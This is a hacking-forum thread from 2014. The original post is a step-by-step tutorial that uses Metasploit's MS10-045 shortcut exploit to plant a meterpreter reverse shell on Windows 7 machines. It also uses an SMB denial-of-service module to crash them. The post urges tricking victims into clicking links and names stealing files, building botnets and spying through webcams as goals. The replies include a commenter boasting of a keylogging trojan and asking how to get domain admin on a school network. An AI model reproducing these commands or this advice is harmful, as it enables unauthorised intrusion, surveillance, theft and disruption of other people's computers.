

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Hack or crash windows 7 with a simple shortcut file! \[TUTORIAL\]](#)

SIM-2015410 - March 21, 2014, 3:03 pm

Hello Again HF!,

Welcome to another Hacking Tutorial by MeshCollider.

If you are interested, here are links to my other hacking tutorials:Spoiler [\(Click to View\)](#)

Metasploit 1: <https://hackforums.net/showthread.php?tid=4124763>

Metasploit 2: <https://hackforums.net/showthread.php?tid=4124800>

Metasploit 3: <https://hackforums.net/showthread.php?tid=4124838>

Cracking WiFi - WEP: <https://hackforums.net/showthread.php?tid=4126315>

Remotely viewing a webcam/microphone: <https://hackforums.net/showthread.php?tid=4126349>

In this tutorial, I will show you how to use a simple shortcut file to crack a windows 7 computer.

Windows 7 is now the most popular OS for desktop and laptop computers, especially now that XP is no longer going to be supported by Microsoft.

Cracking into a computer can be useful for a number of reasons: it can give you access to the rest of the network, you can use it as a proxy to hide your IP, you can steal valuable files/details, you can use it as part of a botnet to DOS, etc, and more.

The operating system itself has become quite secure, but numerous vulnerabilities can still be found in other programs installed like the browser, adobe reader, and office. Some other methods are covered in my other tutorials. The vulnerability we will exploit is one found in the way windows 7 handles shortcut files. You will notice that this tutorial is quite similar to there previous tutorials in my series. Lets begin.

1) Open Metasploit

You should be able to do this by yourself by now.

2) Select the Exploit

Microsoft has identified this vulnerability as MS10-045, it takes advantage of a buffer overflow in the shortcut dll. Use this command in Metasploit to load the exploit:

Code msf > use windows/ms10_045_shortcut_icon_dllloader

3) Configure the Exploit Options

The first option to set is the payload, and as before, we will use the meterpreter. this is an amazingly powerful payload which we can use to completely own their box.

Code set PAYLOAD windows/meterpreter/reverse_tcpThen we need to set the LHOST, which is the IP of our (the attackers) computer:

Code set LHOST 192.168.1.111

4) Run the exploit

As usual, just use the command:

Code exploitAnd this will generate a link and a server to host that link.

Now we need the victim to click the malicious link!

5) Send the Link to the Victim

This will require a bit of social engineering to convince the user to click the link. Be creative, tell them it is the latest movie download site or the password to a locked RAR file. When the victim clicks the link, their security settings will probably prompt them to allow or deny the webpage access to windows explorer, and they must click allow.

When the victim clicks on the "Allow" prompt, Metasploit begins the process of establishing a client/server connection between you and the victim. This process is fairly slow, so be patient. It may not even work, but be patient and hope it does ?

We will now have control of their computer through the meterpreter installed on their machine. Now you can go ahead and do almost anything you like! In previous tutorials i covered how to download files and view the webcam/microphone, but the fun doesn't have to stop there!

EXTRA: Crashing their computer

Spoiler ([Click to View](#))

This exploit takes advantage of a vulnerability in Windows 7 and Windows Server 2008. We can create an infinite loop and crash the system - not as useful/fun as owning the system - but it can be very destructive/annoying for someone you dont like ?

1) Run metasploit, load the appropriate exploit using this command:

Code msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loop

2) Set the required options.

Code msf> auxiliary(ms10_negotiate_response_loop) show optionsAs you can see, the only required option is the SVRHOST which is our attacking computer's IP address. Set this option like this:

Code msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.8

3) Run the exploit!

Step 2 generates a shared folder at "\\192.168.1.8\\Shared\\Anything", we then use this command:

Code msf > auxiliary(ms10_negotiate_response_loop) runWhen the victim clicks on the link we send them, their computer will freeze and crash.

Use social engineering methods as above to get the victim to click the link. Good Luck!

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics!

Written by MeshCollider ?

rahoor - August 14, 2014, 9:53 pm

i was searching this from such a long time and at last i found your thread gr8 bro

franzzz - August 17, 2014, 2:28 pm

Great TUT ?

Although can't find that exploit anymore. There's "ms10_046_shortcut_icon_dllloader" but dunno about that.

-DeStRoYeR__ - - September 25, 2014, 4:49 am

Good job for the video tutorial... :)

SIM-2015410 - September 25, 2014, 1:31 pm

(Sep 25, 2014 04:49 AM)-DeStRoYeR__ - Wrote: ([CITE](#)) Good job for the video tutorial... :)

Its not a video tutorial??? What are you on about?

Joey Pirtz - September 25, 2014, 1:54 pm

Posting for future reference. Just skimmed but looks interesting. Nice :-)

TheExclusive - September 26, 2014, 6:03 am

This exploit you use is from July 14, 2010 i don't think someone didn't patched this.

Binary_Warrior - February 10, 2017, 10:46 pm

Soo u made a trojan? Meh

i already got one that gives me keylogger screenshots and also cmd over victims computer but

I have an idea about What u are doing

i used a other method to crack my win 7 school computer but again Meh

could u make a tut about how to get domain admin in school im anly local :-/

and plz make it noob/beginner frendly

IPIKIN - February 10, 2017, 10:49 pm

(Feb 10, 2017 11:46 PM)Binary_Warrior Wrote: [\[CITE\]](#) Soo u made a trojan? Meh

i already got one that gives me keylogger screenshots and also cmd over victims computer but

I have an idea about What u are doing

i used a other method to crack my win 7 school computer but again Meh

could u make a tut about how to get domain admin in school im anly local :-/

and plz make it noob/beginner frendly

Don't gravedig idiot.